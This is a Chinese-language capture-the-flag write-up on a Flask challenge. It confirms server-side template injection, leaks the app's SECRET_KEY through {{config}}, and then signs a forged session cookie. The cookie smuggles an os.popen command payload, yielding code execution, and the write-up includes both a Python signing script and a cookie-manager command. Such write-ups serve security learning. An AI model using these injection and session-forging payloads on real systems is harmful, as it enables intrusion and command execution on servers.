前言
关键字:[SSTI|flask session构造]
题解
扫了下目录,没啥发现
解下session,看来是flask?
打{{1+1}}
提示
输入1/0#{{1+1}}
能拿到结果。
输入1/0#{{7*7}}
试了一些RCE代码,不太行,应该有过滤。
所以先看看{{config}}
转个码
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'cded826a1e89925035cc05f0907855f7', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
ZeroDivisionError: division by zero
其中'SECRET_KEY': 'cded826a1e89925035cc05f0907855f7'
然后思路就很明显了,伪造session->服务端读取->执行代码,这样就能绕过过滤。
用这个脚本
from flask.sessions import SecureCookieSessionInterface
secret_key = "cded826a1e89925035cc05f0907855f7"
class FakeApp:
secret_key = secret_key
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
{"history": [{"code": '__import__("os").popen("ls ").read()'}]}
)
print(cookie)
或者是flask-session-cookie-manager
这还得加转义,这么看还是上面那个脚本方便点。
python flask_session_cookie_manager3.py encode -t "{'history': [{'code':'__import__(\"os\").popen(\"ls \").read()'}]}" -s "cded826a1e89925035cc05f0907855f7"
改下命令,读取,结束